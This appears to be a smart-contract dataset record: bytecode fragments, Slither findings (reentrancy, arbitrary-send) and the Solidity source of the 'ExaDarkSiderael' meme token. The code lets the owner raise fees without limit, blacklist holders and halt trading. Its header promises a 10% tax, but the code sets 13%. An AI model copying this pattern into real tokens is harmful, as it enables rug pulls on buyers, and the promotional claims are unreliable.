487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546116f49130911684610fb1565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061172d908590600090869030904290600401611e18565b600060405180830381600087803b15801561174757600080fd5b505af115801561175b573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b8061177d5761177d6117ef565b61178884848461181d565b806113b1576113b1600a54600855600b54600955565b60008060006117ab611914565b90925090506117ba8282611589565b9250505090565b600081836117e25760405162461bcd60e51b81526004016106659190611d90565b5060006113e88486611ea0565b6008541580156117ff5750600954155b1561180657565b60088054600a5560098054600b5560009182905555565b60008060008060008061182f87611956565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061186190876119b3565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461189090866119f5565b6001600160a01b0389166000908152600260205260409020556118b281611a54565b6118bc8483611a9e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161190191815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006119308282611589565b82101561194d57505060065492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006119738a600854600954611ac2565b925092509250600061198361179e565b905060008060006119968e878787611b11565b919e509c509a509598509396509194505050505091939550919395565b600061150383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113b7565b600080611a028385611e88565b9050838110156115035760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610665565b6000611a5e61179e565b90506000611a6c838361150a565b30600090815260026020526040902054909150611a8990826119f5565b30600090815260026020526040902055505050565b600654611aab90836119b3565b600655600754611abb90826119f5565b6007555050565b6000808080611ad66064610a05898961150a565b90506000611ae96064610a058a8961150a565b90506000611b0182611afb8b866119b3565b906119b3565b9992985090965090945050505050565b6000808080611b20888661150a565b90506000611b2e888761150a565b90506000611b3c888861150a565b90506000611b4e82611afb86866119b3565b939b939a50919850919650505050505050565b8035611b6c81611f3d565b919050565b600060208284031215611b82578081fd5b813561150381611f3d565b600060208284031215611b9e578081fd5b815161150381611f3d565b60008060408385031215611bbb578081fd5b8235611bc681611f3d565b91506020830135611bd681611f3d565b809150509250929050565b600080600060608486031215611bf5578081fd5b8335611c0081611f3d565b92506020840135611c1081611f3d565b929592945050506040919091013590565b60008060408385031215611c33578182fd5b8235611c3e81611f3d565b946020939093013593505050565b60006020808385031215611c5e578182fd5b823567ffffffffffffffff80821115611c75578384fd5b818501915085601f830112611c88578384fd5b813581811115611c9a57611c9a611f27565b8060051b604051601f19603f83011681018181108582111715611cbf57611cbf611f27565b604052828152858101935084860182860187018a1015611cdd578788fd5b8795505b83861015611d0657611cf281611b61565b855260019590950194938601938601611ce1565b5098975050505050505050565b600060208284031215611d24578081fd5b813561150381611f52565b600060208284031215611d40578081fd5b815161150381611f52565b600060208284031215611d5c578081fd5b5035919050565b600080600060608486031215611d77578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611dbc57858101830151858201604001528201611da0565b81811115611dcd5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611e675784516001600160a01b031683529383019391830191600101611e42565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611e9b57611e9b611f11565b500190565b600082611ebb57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611eda57611eda611f11565b500290565b600082821015611ef157611ef1611f11565b500390565b6000600019821415611f0a57611f0a611f11565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461082857600080fd5b801515811461082857600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204754c9b96e6a5ad5a7b774ffa1069fdb189fca15db6f1b3fab1239c63cbd4cb864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,209
0xa61dc67221cc6e87984f0b42f6fc9178467af0b1
/** */ /* Exa Dark Sideræl A Meme Project by @DetectiveCalls An ERC token to honor the birth of Elon Musk and Grimes’ second child, EXA DARK SIDERÆL. Total Tax 10% Max buy 100,000 Tokens Max Wallet 200,000 Tokens Liquidity will be locked for 30 days. Telegram : https://t.me/ExaDarkSideraelERC */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ExaDarkSiderael is Context, IERC20, Ownable {/////////////////////////////////////////////////////////// using SafeMath for uint256; string private constant _name = "ExaDarkSiderael";////////////////////////// string private constant _symbol = "EDS";////////////////////////////////////////////////////////////////////////// uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 1;//////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnBuy = 12;////////////////////////////////////////////////////////////////////// //Sell Fee uint256 private _redisFeeOnSell = 1;///////////////////////////////////////////////////////////////////// uint256 private _taxFeeOnSell = 12;///////////////////////////////////////////////////////////////////// //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0x2eDf7c739d4a29bA6eE727C81dA56579aeC5D472);///////////////////////////////////////////////// address payable private _marketingAddress = payable(0x2eDf7c739d4a29bA6eE727C81dA56579aeC5D472);/////////////////////////////////////////////////// IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000 * 10**9; //1% uint256 public _maxWalletSize = 200000 * 10**9; //1% uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);///////////////////////////////////////////////// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610520578063dd62ed3e14610540578063ea1644d514610586578063f2fde38b146105a657600080fd5b8063a2a957bb1461049b578063a9059cbb146104bb578063bfd79284146104db578063c3c8cd801461050b57600080fd5b80638f70ccf7116100d15780638f70ccf7146104195780638f9a55c01461043957806395d89b411461044f57806398a5c3151461047b57600080fd5b806374010ece146103c55780637d1db4a5146103e55780638da5cb5b146103fb57600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461035b5780636fc3eaec1461037b57806370a0823114610390578063715018a6146103b057600080fd5b8063313ce567146102ff57806349bd5a5e1461031b5780636b9990531461033b57600080fd5b80631694505e116101a05780631694505e1461026d57806318160ddd146102a557806323b872dd146102c95780632fd689e3146102e957600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023d57600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec366004611aea565b6105c6565b005b3480156101ff57600080fd5b5060408051808201909152600f81526e115e1851185c9ad4da59195c98595b608a1b60208201525b6040516102349190611c14565b60405180910390f35b34801561024957600080fd5b5061025d610258366004611a40565b610673565b6040519015158152602001610234565b34801561027957600080fd5b5060145461028d906001600160a01b031681565b6040516001600160a01b039091168152602001610234565b3480156102b157600080fd5b50662386f26fc100005b604051908152602001610234565b3480156102d557600080fd5b5061025d6102e4366004611a00565b61068a565b3480156102f557600080fd5b506102bb60185481565b34801561030b57600080fd5b5060405160098152602001610234565b34801561032757600080fd5b5060155461028d906001600160a01b031681565b34801561034757600080fd5b506101f1610356366004611990565b6106f3565b34801561036757600080fd5b506101f1610376366004611bb1565b61073e565b34801561038757600080fd5b506101f1610786565b34801561039c57600080fd5b506102bb6103ab366004611990565b6107d1565b3480156103bc57600080fd5b506101f16107f3565b3480156103d157600080fd5b506101f16103e0366004611bcb565b610867565b3480156103f157600080fd5b506102bb60165481565b34801561040757600080fd5b506000546001600160a01b031661028d565b34801561042557600080fd5b506101f1610434366004611bb1565b610896565b34801561044557600080fd5b506102bb60175481565b34801561045b57600080fd5b5060408051808201909152600381526245445360e81b6020820152610227565b34801561048757600080fd5b506101f1610496366004611bcb565b6108de565b3480156104a757600080fd5b506101f16104b6366004611be3565b61090d565b3480156104c757600080fd5b5061025d6104d6366004611a40565b61094b565b3480156104e757600080fd5b5061025d6104f6366004611990565b60106020526000908152604090205460ff1681565b34801561051757600080fd5b506101f1610958565b34801561052c57600080fd5b506101f161053b366004611a6b565b6109ac565b34801561054c57600080fd5b506102bb61055b3660046119c8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561059257600080fd5b506101f16105a1366004611bcb565b610a5b565b3480156105b257600080fd5b506101f16105c1366004611990565b610a8a565b6000546001600160a01b031633146105f95760405162461bcd60e51b81526004016105f090611c67565b60405180910390fd5b60005b815181101561066f5760016010600084848151811061062b57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061066781611d7a565b9150506105fc565b5050565b6000610680338484610b74565b5060015b92915050565b6000610697848484610c98565b6106e984336106e485604051806060016040528060288152602001611dd7602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111d4565b610b74565b5060019392505050565b6000546001600160a01b0316331461071d5760405162461bcd60e51b81526004016105f090611c67565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107685760405162461bcd60e51b81526004016105f090611c67565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107bb57506013546001600160a01b0316336001600160a01b0316145b6107c457600080fd5b476107ce8161120e565b50565b6001600160a01b03811660009081526002602052604081205461068490611293565b6000546001600160a01b0316331461081d5760405162461bcd60e51b81526004016105f090611c67565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108915760405162461bcd60e51b81526004016105f090611c67565b601655565b6000546001600160a01b031633146108c05760405162461bcd60e51b81526004016105f090611c67565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109085760405162461bcd60e51b81526004016105f090611c67565b601855565b6000546001600160a01b031633146109375760405162461bcd60e51b81526004016105f090611c67565b600893909355600a91909155600955600b55565b6000610680338484610c98565b6012546001600160a01b0316336001600160a01b0316148061098d57506013546001600160a01b0316336001600160a01b0316145b61099657600080fd5b60006109a1306107d1565b90506107ce81611317565b6000546001600160a01b031633146109d65760405162461bcd60e51b81526004016105f090611c67565b60005b82811015610a55578160056000868685818110610a0657634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a1b9190611990565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a4d81611d7a565b9150506109d9565b50505050565b6000546001600160a01b03163314610a855760405162461bcd60e51b81526004016105f090611c67565b601755565b6000546001600160a01b03163314610ab45760405162461bcd60e51b81526004016105f090611c67565b6001600160a01b038116610b195760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f0565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bd65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f0565b6001600160a01b038216610c375760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f0565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cfc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f0565b6001600160a01b038216610d5e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f0565b60008111610dc05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f0565b6000546001600160a01b03848116911614801590610dec57506000546001600160a01b03838116911614155b156110cd57601554600160a01b900460ff16610e85576000546001600160a01b03848116911614610e855760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f0565b601654811115610ed75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f0565b6001600160a01b03831660009081526010602052604090205460ff16158015610f1957506001600160a01b03821660009081526010602052604090205460ff16155b610f715760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f0565b6015546001600160a01b03838116911614610ff65760175481610f93846107d1565b610f9d9190611d0c565b10610ff65760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f0565b6000611001306107d1565b60185460165491925082101590821061101a5760165491505b8080156110315750601554600160a81b900460ff16155b801561104b57506015546001600160a01b03868116911614155b80156110605750601554600160b01b900460ff165b801561108557506001600160a01b03851660009081526005602052604090205460ff16155b80156110aa57506001600160a01b03841660009081526005602052604090205460ff16155b156110ca576110b882611317565b4780156110c8576110c84761120e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061110f57506001600160a01b03831660009081526005602052604090205460ff165b8061114157506015546001600160a01b0385811691161480159061114157506015546001600160a01b03848116911614155b1561114e575060006111c8565b6015546001600160a01b03858116911614801561117957506014546001600160a01b03848116911614155b1561118b57600854600c55600954600d555b6015546001600160a01b0384811691161480156111b657506014546001600160a01b03858116911614155b156111c857600a54600c55600b54600d555b610a55848484846114bc565b600081848411156111f85760405162461bcd60e51b81526004016105f09190611c14565b5060006112058486611d63565b95945050505050565b6012546001600160a01b03166108fc6112288360026114ea565b6040518115909202916000818181858888f19350505050158015611250573d6000803e3d6000fd5b506013546001600160a01b03166108fc61126b8360026114ea565b6040518115909202916000818181858888f1935050505015801561066f573d6000803e3d6000fd5b60006006548211156112fa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f0565b600061130461152c565b905061131083826114ea565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061136d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156113c157600080fd5b505afa1580156113d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113f991906119ac565b8160018151811061141a57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526014546114409130911684610b74565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611479908590600090869030904290600401611c9c565b600060405180830381600087803b15801561149357600080fd5b505af11580156114a7573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114c9576114c961154f565b6114d484848461157d565b80610a5557610a55600e54600c55600f54600d55565b600061131083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611674565b60008060006115396116a2565b909250905061154882826114ea565b9250505090565b600c5415801561155f5750600d54155b1561156657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061158f876116e0565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115c1908761173d565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115f0908661177f565b6001600160a01b038916600090815260026020526040902055611612816117de565b61161c8483611828565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161166191815260200190565b60405180910390a3505050505050505050565b600081836116955760405162461bcd60e51b81526004016105f09190611c14565b5060006112058486611d24565b6006546000908190662386f26fc100006116bc82826114ea565b8210156116d757505060065492662386f26fc1000092509050565b90939092509050565b60008060008060008060008060006116fd8a600c54600d5461184c565b925092509250600061170d61152c565b905060008060006117208e8787876118a1565b919e509c509a509598509396509194505050505091939550919395565b600061131083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111d4565b60008061178c8385611d0c565b9050838110156113105760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f0565b60006117e861152c565b905060006117f683836118f1565b30600090815260026020526040902054909150611813908261177f565b30600090815260026020526040902055505050565b600654611835908361173d565b600655600754611845908261177f565b6007555050565b6000808080611866606461186089896118f1565b906114ea565b9050600061187960646118608a896118f1565b905060006118918261188b8b8661173d565b9061173d565b9992985090965090945050505050565b60008080806118b088866118f1565b905060006118be88876118f1565b905060006118cc88886118f1565b905060006118de8261188b868661173d565b939b939a50919850919650505050505050565b60008261190057506000610684565b600061190c8385611d44565b9050826119198583611d24565b146113105760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f0565b803561197b81611dc1565b919050565b8035801515811461197b57600080fd5b6000602082840312156119a1578081fd5b813561131081611dc1565b6000602082840312156119bd578081fd5b815161131081611dc1565b600080604083850312156119da578081fd5b82356119e581611dc1565b915060208301356119f581611dc1565b809150509250929050565b600080600060608486031215611a14578081fd5b8335611a1f81611dc1565b92506020840135611a2f81611dc1565b929592945050506040919091013590565b60008060408385031215611a52578182fd5b8235611a5d81611dc1565b946020939093013593505050565b600080600060408486031215611a7f578283fd5b833567ffffffffffffffff80821115611a96578485fd5b818601915086601f830112611aa9578485fd5b813581811115611ab7578586fd5b8760208260051b8501011115611acb578586fd5b602092830195509350611ae19186019050611980565b90509250925092565b60006020808385031215611afc578182fd5b823567ffffffffffffffff80821115611b13578384fd5b818501915085601f830112611b26578384fd5b813581811115611b3857611b38611dab565b8060051b604051601f19603f83011681018181108582111715611b5d57611b5d611dab565b604052828152858101935084860182860187018a1015611b7b578788fd5b8795505b83861015611ba457611b9081611970565b855260019590950194938601938601611b7f565b5098975050505050505050565b600060208284031215611bc2578081fd5b61131082611980565b600060208284031215611bdc578081fd5b5035919050565b60008060008060808587031215611bf8578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611c4057858101830151858201604001528201611c24565b81811115611c515783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611ceb5784516001600160a01b031683529383019391830191600101611cc6565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d1f57611d1f611d95565b500190565b